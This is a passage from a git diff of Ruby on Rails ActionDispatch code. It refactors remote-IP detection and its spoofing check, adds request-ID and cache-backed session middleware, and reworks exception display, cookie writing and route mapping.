- # Which IP addresses are "trusted proxies" that can be stripped from
- # the right-hand-side of X-Forwarded-For.
- #
- # http://en.wikipedia.org/wiki/Private_network#Private_IPv4_address_spaces.
- TRUSTED_PROXIES = %r{
- ^127\.0\.0\.1$ | # localhost
- ^(10 | # private IP 10.x.x.x
- 172\.(1[6-9]|2[0-9]|3[0-1]) | # private IP in the range 172.16.0.0 .. 172.31.255.255
- 192\.168 # private IP 192.168.x.x
- )\.
- }x
-
- # Determines originating IP address. REMOTE_ADDR is the standard
- # but will fail if the user is behind a proxy. HTTP_CLIENT_IP and/or
- # HTTP_X_FORWARDED_FOR are set by proxies so check for these if
- # REMOTE_ADDR is a proxy. HTTP_X_FORWARDED_FOR may be a comma-
- # delimited list in the case of multiple chained proxies; the last
- # address which is not trusted is the originating IP.
+ # Originating IP address, usually set by the RemoteIp middleware.
def remote_ip
@remote_ip ||= (@env["action_dispatch.remote_ip"] || ip).to_s
end
+ # Returns the unique request id, which is based off either the X-Request-Id header that can
+ # be generated by a firewall, load balancer, or web server or by the RequestId middleware
+ # (which sets the action_dispatch.request_id environment variable).
+ #
+ # This unique ID is useful for tracing a request from end-to-end as part of logging or debugging.
+ # This relies on the rack variable set by the ActionDispatch::RequestId middleware.
+ def uuid
+ @uuid ||= env["action_dispatch.request_id"]
+ end
+
# Returns the lowercase name of the HTTP server software.
def server_software
(@env['SERVER_SOFTWARE'] && /^([a-zA-Z]+)/ =~ @env['SERVER_SOFTWARE']) ? $1.downcase : nil
diff --git a/actionpack/lib/action_dispatch/http/upload.rb b/actionpack/lib/action_dispatch/http/upload.rb
index a15ad28f16..94fa747a79 100644
--- a/actionpack/lib/action_dispatch/http/upload.rb
+++ b/actionpack/lib/action_dispatch/http/upload.rb
@@ -11,24 +11,13 @@ module ActionDispatch
raise(ArgumentError, ':tempfile is required') unless @tempfile
end
- def open
- @tempfile.open
- end
-
- def path
- @tempfile.path
- end
-
def read(*args)
@tempfile.read(*args)
end
- def rewind
- @tempfile.rewind
- end
-
- def size
- @tempfile.size
+ # Delegate these methods to the tempfile.
+ [:open, :path, :rewind, :size].each do |method|
+ class_eval "def #{method}; @tempfile.#{method}; end"
end
private
diff --git a/actionpack/lib/action_dispatch/http/url.rb b/actionpack/lib/action_dispatch/http/url.rb
index 8487b0fc8c..129a8b1031 100644
--- a/actionpack/lib/action_dispatch/http/url.rb
+++ b/actionpack/lib/action_dispatch/http/url.rb
@@ -45,7 +45,7 @@ module ActionDispatch
rewritten_url << (options[:trailing_slash] ? path.sub(/\?|\z/) { "/" + $& } : path)
rewritten_url << "?#{params.to_query}" unless params.empty?
- rewritten_url << "##{Rack::Mount::Utils.escape_uri(options[:anchor].to_param.to_s)}" if options[:anchor]
+ rewritten_url << "##{Journey::Router::Utils.escape_fragment(options[:anchor].to_param.to_s)}" if options[:anchor]
rewritten_url
end
@@ -64,14 +64,16 @@ module ActionDispatch
end
def host_or_subdomain_and_domain(options)
- return options[:host] unless options[:subdomain] || options[:domain]
+ return options[:host] if !named_host?(options[:host]) || (options[:subdomain].nil? && options[:domain].nil?)
tld_length = options[:tld_length] || @@tld_length
host = ""
- host << (options[:subdomain] || extract_subdomain(options[:host], tld_length))
- host << "."
- host << (options[:domain] || extract_domain(options[:host], tld_length))
+ unless options[:subdomain] == false
+ host << (options[:subdomain] || extract_subdomain(options[:host], tld_length))
+ host << "."
+ end
+ host << (options[:domain] || extract_domain(options[:host], tld_length))
host
end
end
diff --git a/actionpack/lib/action_dispatch/middleware/cookies.rb b/actionpack/lib/action_dispatch/middleware/cookies.rb
index 1c312f2587..51cec41a34 100644
--- a/actionpack/lib/action_dispatch/middleware/cookies.rb
+++ b/actionpack/lib/action_dispatch/middleware/cookies.rb
@@ -85,6 +85,7 @@ module ActionDispatch
class CookieOverflow < StandardError; end
class CookieJar #:nodoc:
+ include Enumerable
# This regular expression is used to split the levels of a domain.
# The top level domain can be any string without a period or
@@ -124,6 +125,10 @@ module ActionDispatch
alias :closed? :closed
def close!; @closed = true end
+ def each(&block)
+ @cookies.each(&block)
+ end
+
# Returns the value of the cookie by +name+, or +nil+ if no such cookie exists.
def [](name)
@cookies[name.to_s]
@@ -169,7 +174,7 @@ module ActionDispatch
options = { :value => value }
end
- value = @cookies[key.to_s] = value
+ @cookies[key.to_s] = value
handle_options(options)
@@ -238,10 +243,13 @@ module ActionDispatch
@delete_cookies.clear
end
+ mattr_accessor :always_write_cookie
+ self.always_write_cookie = false
+
private
def write_cookie?(cookie)
- @secure || !cookie[:secure] || defined?(Rails.env) && Rails.env.development?
+ @secure || !cookie[:secure] || always_write_cookie
end
end
diff --git a/actionpack/lib/action_dispatch/middleware/flash.rb b/actionpack/lib/action_dispatch/middleware/flash.rb
index 2adbce031b..e59404ef68 100644
--- a/actionpack/lib/action_dispatch/middleware/flash.rb
+++ b/actionpack/lib/action_dispatch/middleware/flash.rb
@@ -70,6 +70,10 @@ module ActionDispatch
end
end
+ # Implementation detail: please do not change the signature of the
+ # FlashHash class. Doing that will likely affect all Rails apps in
+ # production as the FlashHash currently stored in their sessions will
+ # become invalid.
class FlashHash
include Enumerable
diff --git a/actionpack/lib/action_dispatch/middleware/params_parser.rb b/actionpack/lib/action_dispatch/middleware/params_parser.rb
index d4208ca96e..6ded9dbfed 100644
--- a/actionpack/lib/action_dispatch/middleware/params_parser.rb
+++ b/actionpack/lib/action_dispatch/middleware/params_parser.rb
@@ -52,14 +52,9 @@ module ActionDispatch
false
end
rescue Exception => e # YAML, XML or Ruby code block errors
- logger.debug "Error occurred while parsing request parameters.\nContents:\n\n#{request.raw_post}"
+ logger(env).debug "Error occurred while parsing request parameters.\nContents:\n\n#{request.raw_post}"
- raise
- { "body" => request.raw_post,
- "content_type" => request.content_mime_type,
- "content_length" => request.content_length,
- "exception" => "#{e.message} (#{e.class})",
- "backtrace" => e.backtrace }
+ raise e
end
def content_type_from_legacy_post_data_format_header(env)
@@ -73,8 +68,8 @@ module ActionDispatch
nil
end
- def logger
- defined?(Rails.logger) ? Rails.logger : Logger.new($stderr)
+ def logger(env)
+ env['action_dispatch.logger'] || Logger.new($stderr)
end
end
end
diff --git a/actionpack/lib/action_dispatch/middleware/remote_ip.rb b/actionpack/lib/action_dispatch/middleware/remote_ip.rb
index c7d710b98e..66ece60860 100644
--- a/actionpack/lib/action_dispatch/middleware/remote_ip.rb
+++ b/actionpack/lib/action_dispatch/middleware/remote_ip.rb
@@ -2,50 +2,80 @@ module ActionDispatch
class RemoteIp
class IpSpoofAttackError < StandardError ; end
- class RemoteIpGetter
- def initialize(env, check_ip_spoofing, trusted_proxies)
- @env = env
- @check_ip_spoofing = check_ip_spoofing
- @trusted_proxies = trusted_proxies
+ # IP addresses that are "trusted proxies" that can be stripped from
+ # the comma-delimited list in the X-Forwarded-For header. See also:
+ # http://en.wikipedia.org/wiki/Private_network#Private_IPv4_address_spaces
+ TRUSTED_PROXIES = %r{
+ ^127\.0\.0\.1$ | # localhost
+ ^(10 | # private IP 10.x.x.x
+ 172\.(1[6-9]|2[0-9]|3[0-1]) | # private IP in the range 172.16.0.0 .. 172.31.255.255
+ 192\.168 # private IP 192.168.x.x
+ )\.
+ }x
+
+ attr_reader :check_ip, :proxies
+
+ def initialize(app, check_ip_spoofing = true, custom_proxies = nil)
+ @app = app
+ @check_ip = check_ip_spoofing
+ if custom_proxies
+ custom_regexp = Regexp.new(custom_proxies)
+ @proxies = Regexp.union(TRUSTED_PROXIES, custom_regexp)
+ else
+ @proxies = TRUSTED_PROXIES
end
+ end
- def remote_addrs
- @remote_addrs ||= begin
- list = @env['REMOTE_ADDR'] ? @env['REMOTE_ADDR'].split(/[,\s]+/) : []
- list.reject { |addr| addr =~ @trusted_proxies }
- end
+ def call(env)
+ env["action_dispatch.remote_ip"] = GetIp.new(env, self)
+ @app.call(env)
+ end
+
+ class GetIp
+ def initialize(env, middleware)
+ @env = env
+ @middleware = middleware
+ @calculated_ip = false
end
- def to_s
- return remote_addrs.first if remote_addrs.any?
-
- forwarded_ips = @env['HTTP_X_FORWARDED_FOR'] ? @env['HTTP_X_FORWARDED_FOR'].strip.split(/[,\s]+/) : []
-
- if client_ip = @env['HTTP_CLIENT_IP']
- if @check_ip_spoofing && !forwarded_ips.include?(client_ip)
- # We don't know which came from the proxy, and which from the user
- raise IpSpoofAttackError, "IP spoofing attack?!" \
- "HTTP_CLIENT_IP=#{@env['HTTP_CLIENT_IP'].inspect}" \
- "HTTP_X_FORWARDED_FOR=#{@env['HTTP_X_FORWARDED_FOR'].inspect}"
- end
- return client_ip
+ # Determines originating IP address. REMOTE_ADDR is the standard
+ # but will be wrong if the user is behind a proxy. Proxies will set
+ # HTTP_CLIENT_IP and/or HTTP_X_FORWARDED_FOR, so we prioritize those.
+ # HTTP_X_FORWARDED_FOR may be a comma-delimited list in the case of
+ # multiple chained proxies. The last address which is not a known proxy
+ # will be the originating IP.
+ def calculate_ip
+ client_ip = @env['HTTP_CLIENT_IP']
+ forwarded_ips = ips_from('HTTP_X_FORWARDED_FOR')
+ remote_addrs = ips_from('REMOTE_ADDR')
+
+ check_ip = client_ip && @middleware.check_ip
+ if check_ip && !forwarded_ips.include?(client_ip)
+ # We don't know which came from the proxy, and which from the user
+ raise IpSpoofAttackError, "IP spoofing attack?!" \
+ "HTTP_CLIENT_IP=#{@env['HTTP_CLIENT_IP'].inspect}" \
+ "HTTP_X_FORWARDED_FOR=#{@env['HTTP_X_FORWARDED_FOR'].inspect}"
end
- return forwarded_ips.reject { |ip| ip =~ @trusted_proxies }.last || @env["REMOTE_ADDR"]
+ not_proxy = client_ip || forwarded_ips.last || remote_addrs.first
+
+ # Return first REMOTE_ADDR if there are no other options
+ not_proxy || ips_from('REMOTE_ADDR', :allow_proxies).first
end
- end
- def initialize(app, check_ip_spoofing = true, trusted_proxies = nil)
- @app = app
- @check_ip_spoofing = check_ip_spoofing
- regex = '(^127\.0\.0\.1$|^(10|172\.(1[6-9]|2[0-9]|30|31)|192\.168)\.)'
- regex << "|(#{trusted_proxies})" if trusted_proxies
- @trusted_proxies = Regexp.new(regex, "i")
- end
+ def to_s
+ return @ip if @calculated_ip
+ @calculated_ip = true
+ @ip = calculate_ip
+ end
- def call(env)
- env["action_dispatch.remote_ip"] = RemoteIpGetter.new(env, @check_ip_spoofing, @trusted_proxies)
- @app.call(env)
+ protected
+
+ def ips_from(header, allow_proxies = false)
+ ips = @env[header] ? @env[header].strip.split(/[,\s]+/) : []
+ allow_proxies ? ips : ips.reject{|ip| ip =~ @middleware.proxies }
+ end
end
+
end
-end \ No newline at end of file
+end
diff --git a/actionpack/lib/action_dispatch/middleware/request_id.rb b/actionpack/lib/action_dispatch/middleware/request_id.rb
new file mode 100644
index 0000000000..bee446c8a5
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/request_id.rb
@@ -0,0 +1,39 @@
+require 'securerandom'
+require 'active_support/core_ext/string/access'
+require 'active_support/core_ext/object/blank'
+
+module ActionDispatch
+ # Makes a unique request id available to the action_dispatch.request_id env variable (which is then accessible through
+ # ActionDispatch::Request#uuid) and sends the same id to the client via the X-Request-Id header.
+ #
+ # The unique request id is either based off the X-Request-Id header in the request, which would typically be generated
+ # by a firewall, load balancer, or the web server, or, if this header is not available, a random uuid. If the
+ # header is accepted from the outside world, we sanitize it to a max of 255 chars and alphanumeric and dashes only.
+ #
+ # The unique request id can be used to trace a request end-to-end and would typically end up being part of log files
+ # from multiple pieces of the stack.
+ class RequestId
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ env["action_dispatch.request_id"] = external_request_id(env) || internal_request_id
+ status, headers, body = @app.call(env)
+
+ headers["X-Request-Id"] = env["action_dispatch.request_id"]
+ [ status, headers, body ]
+ end
+
+ private
+ def external_request_id(env)
+ if request_id = env["HTTP_X_REQUEST_ID"].presence
+ request_id.gsub(/[^\w\-]/, "").first(255)
+ end
+ end
+
+ def internal_request_id
+ SecureRandom.hex(16)
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb b/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb
index a70d814749..6bcf099d2c 100644
--- a/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb
+++ b/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb
@@ -59,7 +59,10 @@ module ActionDispatch
# Note that the regexp does not allow $1 to end with a ':'
$1.constantize
rescue LoadError, NameError => const_error
- raise ActionDispatch::Session::SessionRestoreError, "Session contains objects whose class definition isn't available.\nRemember to require the classes for all objects kept in the session.\n(Original exception: #{const_error.message} [#{const_error.class}])\n"
+ raise ActionDispatch::Session::SessionRestoreError,
+ "Session contains objects whose class definition isn't available.\n" +
+ "Remember to require the classes for all objects kept in the session.\n" +
+ "(Original exception: #{const_error.message} [#{const_error.class}])\n"
end
retry
else
diff --git a/actionpack/lib/action_dispatch/middleware/session/cache_store.rb b/actionpack/lib/action_dispatch/middleware/session/cache_store.rb
new file mode 100644
index 0000000000..d3b6fd12fa
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/session/cache_store.rb
@@ -0,0 +1,50 @@
+require 'action_dispatch/middleware/session/abstract_store'
+require 'rack/session/memcache'
+
+module ActionDispatch
+ module Session
+ # Session store that uses an ActiveSupport::Cache::Store to store the sessions. This store is most useful
+ # if you don't store critical data in your sessions and you don't need them to live for extended periods
+ # of time.
+ class CacheStore < AbstractStore
+ # Create a new store. The cache to use can be passed in the <tt>:cache</tt> option. If it is
+ # not specified, <tt>Rails.cache</tt> will be used.
+ def initialize(app, options = {})
+ @cache = options[:cache] || Rails.cache
+ options[:expire_after] ||= @cache.options[:expires_in]
+ super
+ end
+
+ # Get a session from the cache.
+ def get_session(env, sid)
+ sid ||= generate_sid
+ session = @cache.read(cache_key(sid))
+ session ||= {}
+ [sid, session]
+ end
+
+ # Set a session in the cache.
+ def set_session(env, sid, session, options)
+ key = cache_key(sid)
+ if session
+ @cache.write(key, session, :expires_in => options[:expire_after])
+ else
+ @cache.delete(key)
+ end
+ sid
+ end
+
+ # Remove a session from the cache.
+ def destroy_session(env, sid, options)
+ @cache.delete(cache_key(sid))
+ generate_sid
+ end
+
+ private
+ # Turn the session id into a cache key.
+ def cache_key(sid)
+ "_session_id:#{sid}"
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/show_exceptions.rb b/actionpack/lib/action_dispatch/middleware/show_exceptions.rb
index a765c23dae..c850e25507 100644
--- a/actionpack/lib/action_dispatch/middleware/show_exceptions.rb
+++ b/actionpack/lib/action_dispatch/middleware/show_exceptions.rb
@@ -2,6 +2,7 @@ require 'active_support/core_ext/exception'
require 'action_controller/metal/exceptions'
require 'active_support/notifications'
require 'action_dispatch/http/request'
+require 'active_support/deprecation'
module ActionDispatch
# This middleware rescues any exception returned by the application and renders
@@ -38,9 +39,9 @@ module ActionDispatch
"application's log file and/or the web server's log file to find out what " <<
"went wrong.</body></html>"]]
- def initialize(app, consider_all_requests_local = false)
+ def initialize(app, consider_all_requests_local = nil)
+ ActiveSupport::Deprecation.warn "Passing consider_all_requests_local option to ActionDispatch::ShowExceptions middleware no longer works" unless consider_all_requests_local.nil?
@app = app
- @consider_all_requests_local = consider_all_requests_local
end
def call(env)
@@ -62,14 +63,13 @@ module ActionDispatch
private
def render_exception(env, exception)
- log_error(exception)
+ log_error(env, exception)
exception = original_exception(exception)
- request = Request.new(env)
- if @consider_all_requests_local || request.local?
- rescue_action_locally(request, exception)
+ if env['action_dispatch.show_detailed_exceptions'] == true
+ rescue_action_diagnostics(env, exception)
else
- rescue_action_in_public(exception)
+ rescue_action_error_page(exception)
end
rescue Exception => failsafe_error
$stderr.puts "Error during failsafe response: #{failsafe_error}\n #{failsafe_error.backtrace * "\n "}"
@@ -78,16 +78,16 @@ module ActionDispatch
# Render detailed diagnostics for unhandled exceptions rescued from
# a controller action.
- def rescue_action_locally(request, exception)
+ def rescue_action_diagnostics(env, exception)
template = ActionView::Base.new([RESCUES_TEMPLATE_PATH],
- :request => request,
+ :request => Request.new(env),
:exception => exception,
- :application_trace => application_trace(exception),
- :framework_trace => framework_trace(exception),
- :full_trace => full_trace(exception)
+ :application_trace => application_trace(env, exception),
+ :framework_trace => framework_trace(env, exception),
+ :full_trace => full_trace(env, exception)
)
- file = "rescues/#{@@rescue_templates[exception.class.name]}.erb"
- body = template.render(:file => file, :layout => 'rescues/layout.erb')
+ file = "rescues/#{@@rescue_templates[exception.class.name]}"
+ body = template.render(:template => file, :layout => 'rescues/layout')
render(status_code(exception), body)
end
@@ -98,7 +98,7 @@ module ActionDispatch
# it will first attempt to render the file at <tt>public/500.da.html</tt>
# then attempt to render <tt>public/500.html</tt>. If none of them exist,
# the body of the response will be left empty.
- def rescue_action_in_public(exception)
+ def rescue_action_error_page(exception)
status = status_code(exception)
locale_path = "#{public_path}/#{status}.#{I18n.locale}.html" if I18n.locale
path = "#{public_path}/#{status}.html"
@@ -124,37 +124,41 @@ module ActionDispatch
defined?(Rails.public_path) ? Rails.public_path : 'public_path'
end
- def log_error(exception)
- return unless logger
+ def log_error(env, exception)
+ return unless logger(env)
ActiveSupport::Deprecation.silence do
message = "\n#{exception.class} (#{exception.message}):\n"
message << exception.annoted_source_code.to_s if exception.respond_to?(:annoted_source_code)
- message << " " << application_trace(exception).join("\n ")
- logger.fatal("#{message}\n\n")
+ message << " " << application_trace(env, exception).join("\n ")
+ logger(env).fatal("#{message}\n\n")
end
end
- def application_trace(exception)
- clean_backtrace(exception, :silent)
+ def application_trace(env, exception)
+ clean_backtrace(env, exception, :silent)
end
- def framework_trace(exception)
- clean_backtrace(exception, :noise)
+ def framework_trace(env, exception)
+ clean_backtrace(env, exception, :noise)
end
- def full_trace(exception)
- clean_backtrace(exception, :all)
+ def full_trace(env, exception)
+ clean_backtrace(env, exception, :all)
end
- def clean_backtrace(exception, *args)
- defined?(Rails) && Rails.respond_to?(:backtrace_cleaner) ?
- Rails.backtrace_cleaner.clean(exception.backtrace, *args) :
+ def clean_backtrace(env, exception, *args)
+ env['action_dispatch.backtrace_cleaner'] ?
+ env['action_dispatch.backtrace_cleaner'].clean(exception.backtrace, *args) :
exception.backtrace
end
- def logger
- defined?(Rails.logger) ? Rails.logger : Logger.new($stderr)
+ def logger(env)
+ env['action_dispatch.logger'] || stderr_logger
+ end
+
+ def stderr_logger
+ Logger.new($stderr)
end
def original_exception(exception)
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/layout.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/layout.erb
index 6e71fd7ddc..1a308707d1 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/layout.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/layout.erb
@@ -16,6 +16,7 @@
background-color: #eee;
padding: 10px;
font-size: 11px;
+ white-space: pre-wrap;
}
a { color: #000; }
diff --git a/actionpack/lib/action_dispatch/railtie.rb b/actionpack/lib/action_dispatch/railtie.rb
index f51cc3711b..f18ebabf29 100644
--- a/actionpack/lib/action_dispatch/railtie.rb
+++ b/actionpack/lib/action_dispatch/railtie.rb
@@ -1,20 +1,21 @@
require "action_dispatch"
-require "rails"
module ActionDispatch
class Railtie < Rails::Railtie
config.action_dispatch = ActiveSupport::OrderedOptions.new
- config.action_dispatch.x_sendfile_header = ""
+ config.action_dispatch.x_sendfile_header = nil
config.action_dispatch.ip_spoofing_check = true
config.action_dispatch.show_exceptions = true
config.action_dispatch.best_standards_support = true
config.action_dispatch.tld_length = 1
config.action_dispatch.ignore_accept_header = false
config.action_dispatch.rack_cache = {:metastore => "rails:/", :entitystore => "rails:/", :verbose => true}
-
initializer "action_dispatch.configure" do |app|
ActionDispatch::Http::URL.tld_length = app.config.action_dispatch.tld_length
ActionDispatch::Request.ignore_accept_header = app.config.action_dispatch.ignore_accept_header
+
+ config.action_dispatch.always_write_cookie = Rails.env.development? if config.action_dispatch.always_write_cookie.nil?
+ ActionDispatch::Cookies::CookieJar.always_write_cookie = config.action_dispatch.always_write_cookie
end
end
end
diff --git a/actionpack/lib/action_dispatch/routing/mapper.rb b/actionpack/lib/action_dispatch/routing/mapper.rb
index 53374949ae..88e422c05d 100644
--- a/actionpack/lib/action_dispatch/routing/mapper.rb
+++ b/actionpack/lib/action_dispatch/routing/mapper.rb
@@ -1,4 +1,3 @@
-require 'erb'
require 'active_support/core_ext/hash/except'
require 'active_support/core_ext/object/blank'
require 'active_support/core_ext/object/inclusion'
@@ -50,7 +49,7 @@ module ActionDispatch
class Mapping #:nodoc:
IGNORE_OPTIONS = [:to, :as, :via, :on, :constraints, :defaults, :only, :except, :anchor, :shallow, :shallow_path, :shallow_prefix]
ANCHOR_CHARACTERS_REGEX = %r{\A(\\A|\^)|(\\Z|\\z|\$)\Z}
- SHORTHAND_REGEX = %r{^/[\w/]+$}
+ SHORTHAND_REGEX = %r{/[\w/]+$}
WILDCARD_PATH = %r{\*([^/\)]+)\)?$}
def initialize(set, scope, path, options)
@@ -71,7 +70,7 @@ module ActionDispatch
if using_match_shorthand?(path_without_format, @options)
to_shorthand = @options[:to].blank?
- @options[:to] ||= path_without_format[1..-1].sub(%r{/([^/]*)$}, '#\1')
+ @options[:to] ||= path_without_format.gsub(/\(.*\)/, "")[1..-1].sub(%r{/([^/]*)$}, '#\1')
end
@options.merge!(default_controller_and_action(to_shorthand))
@@ -91,7 +90,7 @@ module ActionDispatch
# match "account/overview"
def using_match_shorthand?(path, options)
- path && options.except(:via, :anchor, :to, :as).empty? && path =~ SHORTHAND_REGEX
+ path && (options[:to] || options[:action]).nil? && path =~ SHORTHAND_REGEX
end
def normalize_path(path)
@@ -214,8 +213,8 @@ module ActionDispatch
end
def segment_keys
- @segment_keys ||= Rack::Mount::RegexpWithNamedGroups.new(
- Rack::Mount::Strexp.compile(@path, requirements, SEPARATORS)
+ @segment_keys ||= Journey::Path::Pattern.new(
+ Journey::Router::Strexp.compile(@path, requirements, SEPARATORS)
).names
end
@@ -236,7 +235,7 @@ module ActionDispatch
# (:locale) becomes (/:locale) instead of /(:locale). Except
# for root cases, where the latter is the correct one.
def self.normalize_path(path)
- path = Rack::Mount::Utils.normalize_path(path)
+ path = Journey::Router::Utils.normalize_path(path)
path.gsub!(%r{/(\(+)/?}, '\1/') unless path =~ %r{^/\(+[^/]+\)$}
path
end
@@ -286,7 +285,7 @@ module ActionDispatch
# A pattern can also point to a +Rack+ endpoint i.e. anything that
# responds to +call+:
#
- # match 'photos/:id' => lambda {|hash| [200, {}, "Coming soon" }
+ # match 'photos/:id' => lambda {|hash| [200, {}, "Coming soon"] }
# match 'photos/:id' => PhotoRackApp
# # Yes, controller actions are just rack endpoints
# match 'photos/:id' => PhotosController.action(:show)
@@ -375,10 +374,6 @@ module ActionDispatch
# # Matches any request starting with 'path'
# match 'path' => 'c#a', :anchor => false
def match(path, options=nil)
- mapping = Mapping.new(@set, @scope, path, options || {})
- app, conditions, requirements, defaults, as, anchor = mapping.to_route
- @set.add_route(app, conditions, requirements, defaults, as, anchor)
- self
end
# Mount a Rack-based application to be used within the application.
@@ -453,7 +448,9 @@ module ActionDispatch
prefix_options = options.slice(*_route.segment_keys)
# we must actually delete prefix segment keys to avoid passing them to next url_for
_route.segment_keys.each { |k| options.delete(k) }
- _routes.url_helpers.send("#{name}_path", prefix_options)
+ prefix = _routes.url_helpers.send("#{name}_path", prefix_options)
+ prefix = '' if prefix == '/'
+ prefix
end
end
end
@@ -695,7 +692,7 @@ module ActionDispatch
# Allows you to constrain the nested routes based on a set of rules.
# For instance, in order to change the routes to allow for a dot character in the +id+ parameter:
#
- # constraints(:id => /\d+\.\d+) do
+ # constraints(:id => /\d+\.\d+/) do
# resources :posts
# end
#
@@ -705,7 +702,7 @@ module ActionDispatch
# You may use this to also restrict other parameters:
#
# resources :posts do
- # constraints(:post_id => /\d+\.\d+) do
+ # constraints(:post_id => /\d+\.\d+/) do
# resources :comments
# end
# end
@@ -734,7 +731,7 @@ module ActionDispatch
# if the user should be given access to that route, or +false+ if the user should not.
#
# class Iphone
- # def self.matches(request)
+ # def self.matches?(request)
# request.env["HTTP_USER_AGENT"] =~ /iPhone/
# end
# end
@@ -866,20 +863,18 @@ module ActionDispatch
CANONICAL_ACTIONS = %w(index create new show update destroy)
class Resource #:nodoc:
- DEFAULT_ACTIONS = [:index, :create, :new, :show, :update, :destroy, :edit]
-
attr_reader :controller, :path, :options
def initialize(entities, options = {})
@name = entities.to_s
- @path = (options.delete(:path) || @name).to_s
- @controller = (options.delete(:controller) || @name).to_s
- @as = options.delete(:as)
+ @path = (options[:path] || @name).to_s
+ @controller = (options[:controller] || @name).to_s
+ @as = options[:as]
@options = options
end
def default_actions
- self.class::DEFAULT_ACTIONS
+ [:index, :create, :new, :show, :update, :destroy, :edit]
end
def actions
@@ -933,15 +928,15 @@ module ActionDispatch
end
class SingletonResource < Resource #:nodoc:
- DEFAULT_ACTIONS = [:show, :create, :update, :destroy, :new, :edit]
-
def initialize(entities, options)
+ super
@as = nil
- @name = entities.to_s
- @path = (options.delete(:path) || @name).to_s
- @controller = (options.delete(:controller) || plural).to_s
- @as = options.delete(:as)
- @options = options
+ @controller = (options[:controller] || plural).to_s
+ @as = options[:as]
+ end
+
+ def default_actions
+ [:show, :create, :update, :destroy, :new, :edit]
end
def plural
@@ -991,7 +986,7 @@ module ActionDispatch
return self
end
- resource_scope(SingletonResource.new(resources.pop, options)) do
+ resource_scope(:resource, SingletonResource.new(resources.pop, options)) do
yield if block_given?
collection do
@@ -1023,6 +1018,7 @@ module ActionDispatch
# creates seven different routes in your application, all mapping to
# the +Photos+ controller:
#
+ # GET /photos
# GET /photos/new
# POST /photos
# GET /photos/:id
@@ -1038,19 +1034,20 @@ module ActionDispatch
#
# This generates the following comments routes:
#
- # GET /photos/:id/comments/new
- # POST /photos/:id/comments
- # GET /photos/:id/comments/:id
- # GET /photos/:id/comments/:id/edit
- # PUT /photos/:id/comments/:id
- # DELETE /photos/:id/comments/:id
+ # GET /photos/:photo_id/comments
+ # GET /photos/:photo_id/comments/new
+ # POST /photos/:photo_id/comments
+ # GET /photos/:photo_id/comments/:id
+ # GET /photos/:photo_id/comments/:id/edit
+ # PUT /photos/:photo_id/comments/:id
+ # DELETE /photos/:photo_id/comments/:id
#
# === Options
# Takes same options as <tt>Base#match</tt> as well as:
#
# [:path_names]
- # Allows you to change the paths of the seven default actions.
- # Paths not specified are not changed.
+ # Allows you to change the segment component of the +edit+ and +new+ actions.
+ # Actions not specified are not changed.
#
# resources :posts, :path_names => { :new => "brand_new" }
#
@@ -1120,7 +1117,7 @@ module ActionDispatch
return self
end
- resource_scope(Resource.new(resources.pop, options)) do
+ resource_scope(:resources, Resource.new(resources.pop, options)) do
yield if block_given?
collection do
@@ -1243,32 +1240,44 @@ module ActionDispatch
parent_resource.instance_of?(Resource) && @scope[:shallow]
end
- def match(*args)
- options = args.extract_options!.dup
- options[:anchor] = true unless options.key?(:anchor)
-
- if args.length > 1
- args.each { |path| match(path, options.dup) }
- return self
+ def match(path, *rest)
+ if rest.empty? && Hash === path
+ options = path
+ path, to = options.find { |name, value| name.is_a?(String) }
+ options[:to] = to
+ options.delete(path)
+ paths = [path]
+ else
+ options = rest.pop || {}
+ paths = [path] + rest
end
- on = options.delete(:on)
- if VALID_ON_OPTIONS.include?(on)
- args.push(options)
- return send(on){ match(*args) }
- elsif on
+ options[:anchor] = true unless options.key?(:anchor)
+
+ if options[:on] && !VALID_ON_OPTIONS.include?(options[:on])
raise ArgumentError, "Unknown scope #{on.inspect} given to :on"
end
- if @scope[:scope_level] == :resources
- args.push(options)
- return nested { match(*args) }
- elsif @scope[:scope_level] == :resource
- args.push(options)
- return member { match(*args) }
+ paths.each { |_path| decomposed_match(_path, options.dup) }
+ self
+ end
+
+ def decomposed_match(path, options) # :nodoc:
+ if on = options.delete(:on)
+ send(on) { decomposed_match(path, options) }
+ else
+ case @scope[:scope_level]
+ when :resources
+ nested { decomposed_match(path, options) }
+ when :resource
+ member { decomposed_match(path, options) }
+ else
+ add_route(path, options)
+ end
end
+ end
- action = args.first
+ def add_route(action, options) # :nodoc:
path = path_for_action(action, options.delete(:path))
if action.to_s =~ /^[\w\/]+$/
@@ -1277,13 +1286,15 @@ module ActionDispatch
action = nil
end
- if options.key?(:as) && !options[:as]
+ if !options.fetch(:as) { true }
options.delete(:as)
else
options[:as] = name_for_action(options[:as], action)
end
- super(path, options)
+ mapping = Mapping.new(@set, @scope, path, options)
+ app, conditions, requirements, defaults, as, anchor = mapping.to_route
+ @set.add_route(app, conditions, requirements, defaults, as, anchor)
end
def root(options={})
@@ -1339,7 +1350,7 @@ module ActionDispatch
end
def scope_action_options? #:nodoc:
- @scope[:options].is_a?(Hash) && (@scope[:options][:only] || @scope[:options][:except])
+ @scope[:options] && (@scope[:options][:only] || @scope[:options][:except])
end
def scope_action_options #:nodoc:
@@ -1347,11 +1358,11 @@ module ActionDispatch
end
def resource_scope? #:nodoc:
- @scope[:scope_level].in?([:resource, :resources])
+ [:resource, :resources].include? @scope[:scope_level]
end
def resource_method_scope? #:nodoc:
- @scope[:scope_level].in?([:collection, :member, :new])
+ [:collection, :member, :new].include? @scope[:scope_level]
end
def with_exclusive_scope
@@ -1376,8 +1387,8 @@ module ActionDispatch
@scope[:scope_level_resource] = old_resource
end
- def resource_scope(resource) #:nodoc:
- with_scope_level(resource.is_a?(SingletonResource) ? :resource : :resources, resource) do
+ def resource_scope(kind, resource) #:nodoc:
+ with_scope_level(kind, resource) do
scope(parent_resource.resource_scope) do
yield
end
@@ -1385,10 +1396,12 @@ module ActionDispatch
end
def nested_options #:nodoc:
- {}.tap do |options|
- options[:as] = parent_resource.member_name
